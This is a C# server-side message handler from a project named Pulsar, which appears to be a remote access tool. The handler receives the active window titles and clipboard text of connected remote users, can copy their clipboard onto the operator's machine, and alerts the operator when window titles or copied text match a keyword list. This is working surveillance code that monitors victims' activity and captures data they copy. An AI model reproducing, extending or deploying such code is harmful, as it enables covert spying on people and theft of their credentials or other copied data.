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using Pulsar.Common.Enums;
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using Pulsar.Common.Messages;
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using Pulsar.Common.Messages.Other;
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using Pulsar.Common.Networking;
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using Pulsar.Server.Forms;
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using Pulsar.Server.Helper;
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using Pulsar.Server.Networking;
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using System;
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using System.IO;
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using System.Linq;
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using System.Threading;
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using Newtonsoft.Json;
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using System.Threading.Tasks;
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using System.Windows.Forms;
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using System.Diagnostics;
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namespace Pulsar.Server.Messages
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{
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/// <summary>
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/// Handles messages for the interaction with the remote client status.
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/// </summary>
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public class ClientStatusHandler : MessageProcessorBase<object>
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{
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/// <summary>
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/// Represents the method that will handle status updates.
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/// </summary>
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/// <param name="sender">The message handler which raised the event.</param>
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/// <param name="client">The client which updated the status.</param>
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/// <param name="statusMessage">The new status.</param>
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public delegate void StatusUpdatedEventHandler(object sender, Client client, string statusMessage);
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/// <summary>
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/// Represents the method that will handle user status updates.
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/// </summary>
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/// <param name="sender">The message handler which raised the event.</param>
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/// <param name="client">The client which updated the user status.</param>
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/// <param name="userStatusMessage">The new user status.</param>
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public delegate void UserStatusUpdatedEventHandler(object sender, Client client, UserStatus userStatusMessage);
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public delegate void UserActiveWindowStatusUpdatedEventHandler(object sender, Client client, string newWindow);
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public delegate void UserClipboardStatusUpdatedEventHandler(object sender, Client client, string clipboardText);
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/// <summary>
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/// Raised when a client updated its status.
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/// </summary>
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/// <remarks>
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/// Handlers registered with this event will be invoked on the
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/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
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/// </remarks>
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public event StatusUpdatedEventHandler StatusUpdated;
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/// <summary>
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/// Raised when a client updated its user status.
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/// </summary>
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/// <remarks>
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/// Handlers registered with this event will be invoked on the
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/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
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/// </remarks>
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public event UserStatusUpdatedEventHandler UserStatusUpdated;
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public event UserActiveWindowStatusUpdatedEventHandler UserActiveWindowStatusUpdated;
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public event UserClipboardStatusUpdatedEventHandler UserClipboardStatusUpdated;
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/// <summary>
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/// Reports an updated status.
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/// </summary>
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/// <param name="client">The client which updated the status.</param>
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/// <param name="statusMessage">The new status.</param>
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private void OnStatusUpdated(Client client, string statusMessage)
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{
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SynchronizationContext.Post(c =>
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{
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var handler = StatusUpdated;
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handler?.Invoke(this, (Client)c, statusMessage);
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}, client);
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}
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/// <summary>
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/// Reports an updated user status.
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/// </summary>
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/// <param name="client">The client which updated the user status.</param>
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/// <param name="userStatusMessage">The new user status.</param>
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private void OnUserStatusUpdated(Client client, UserStatus userStatusMessage)
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{
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SynchronizationContext.Post(c =>
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{
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var handler = UserStatusUpdated;
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handler?.Invoke(this, (Client)c, userStatusMessage);
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}, client);
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}
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private void OnUserActiveWindowStatusUpdated(Client client, string newWindow)
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{
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SynchronizationContext.Post(c =>
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{
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var handler = UserActiveWindowStatusUpdated;
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handler?.Invoke(this, (Client)c, newWindow);
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}, client);
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}
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private void OnUserClipboardStatusUpdated(Client client, string clipboardText)
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{
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SynchronizationContext.Post(c =>
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{
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var handler = UserClipboardStatusUpdated;
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handler?.Invoke(this, (Client)c, clipboardText);
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}, client);
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}
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/// <summary>
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/// Initializes a new instance of the <see cref="ClientStatusHandler"/> class.
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/// </summary>
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public ClientStatusHandler() : base(true)
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{
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}
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/// <inheritdoc />
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public override bool CanExecute(IMessage message) => message is SetStatus || message is SetUserStatus || message is SetUserActiveWindowStatus || message is SetUserClipboardStatus;
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/// <inheritdoc />
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public override bool CanExecuteFrom(ISender sender) => true;
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/// <inheritdoc />
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public override void Execute(ISender sender, IMessage message)
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{
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switch (message)
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{
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case SetStatus status:
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Execute((Client)sender, status);
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break;
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case SetUserStatus userStatus:
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Execute((Client)sender, userStatus);
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break;
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case SetUserActiveWindowStatus userActiveWindowStatus:
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Execute((Client)sender, userActiveWindowStatus);
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break;
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case SetUserClipboardStatus userClipboardStatus:
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Execute((Client)sender, userClipboardStatus);
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break;
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}
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}
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private void Execute(Client client, SetStatus message)
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{
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OnStatusUpdated(client, message.Message);
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}
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private void Execute(Client client, SetUserStatus message)
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{
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OnUserStatusUpdated(client, message.Message);
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}
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private void Execute(Client client, SetUserActiveWindowStatus message)
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{
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OnUserActiveWindowStatusUpdated(client, message.WindowTitle);
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if (message.WindowTitle == null)
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{
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return;
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}
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Task.Run(() =>
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{
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string keywordsFilePath = Path.Combine(Application.StartupPath, "PulsarStuff", "keywords.json");
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if (File.Exists(keywordsFilePath))
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{
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string jsonContent = File.ReadAllText(keywordsFilePath);
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var keywords = JsonConvert.DeserializeObject<string[]>(jsonContent);
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if (keywords != null)
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{
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var matchedKeyword = keywords.FirstOrDefault(keyword => message.WindowTitle.IndexOf(keyword, StringComparison.OrdinalIgnoreCase) >= 0);
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if (matchedKeyword != null)
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{
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FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
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if (frm != null)
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{
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frm.Invoke(new Action(() =>
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{
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FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Keyword triggered: " + matchedKeyword, message.WindowTitle);
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}));
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}
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}
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}
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}
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});
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}
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private void Execute(Client client, SetUserClipboardStatus message)
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{
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OnUserClipboardStatusUpdated(client, message.ClipboardText);
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if (string.IsNullOrEmpty(message.ClipboardText))
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{
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return;
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}
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if (client.ClipboardSyncEnabled)
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{
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try
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{
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Debug.WriteLine($"Server: Mirroring clipboard from client ({client.EndPoint}): {message.ClipboardText.Substring(0, Math.Min(20, message.ClipboardText.Length))}...");
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ClipboardMonitor.NotifyReceivedFromClient(message.ClipboardText);
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Thread clipboardThread = new Thread(() =>
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{
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try
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{
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Thread.CurrentThread.SetApartmentState(ApartmentState.STA);
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Clipboard.SetText(message.ClipboardText);
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Debug.WriteLine("Server: Successfully mirrored clipboard from client");
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}
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catch (Exception ex)
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{
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Debug.WriteLine($"Server: Error setting clipboard: {ex.Message}");
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}
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});
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clipboardThread.SetApartmentState(ApartmentState.STA);
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clipboardThread.Start();
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clipboardThread.Join(1000);
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}
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catch (Exception ex)
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{
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Debug.WriteLine($"Server: Error in clipboard thread creation: {ex.Message}");
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}
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}
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else
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{
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Debug.WriteLine("Server: Clipboard sync disabled for this client; skipping host clipboard update.");
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}
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Task.Run(() =>
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{
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string keywordsFilePath = Path.Combine(Directory.GetCurrentDirectory(), "keywords.json");
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if (File.Exists(keywordsFilePath))
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{
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string jsonContent = File.ReadAllText(keywordsFilePath);
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var keywords = JsonConvert.DeserializeObject<string[]>(jsonContent);
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if (keywords != null)
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{
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var matchedKeyword = keywords.FirstOrDefault(keyword => message.ClipboardText.IndexOf(keyword, StringComparison.OrdinalIgnoreCase) >= 0);
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if (matchedKeyword != null)
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{
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FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
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if (frm != null)
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{
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frm.Invoke(new Action(() =>
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{
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FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Keyword triggered (Clipboard): " + matchedKeyword, message.ClipboardText);
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}));
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}
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}
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}
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}
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});
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}
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}
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}
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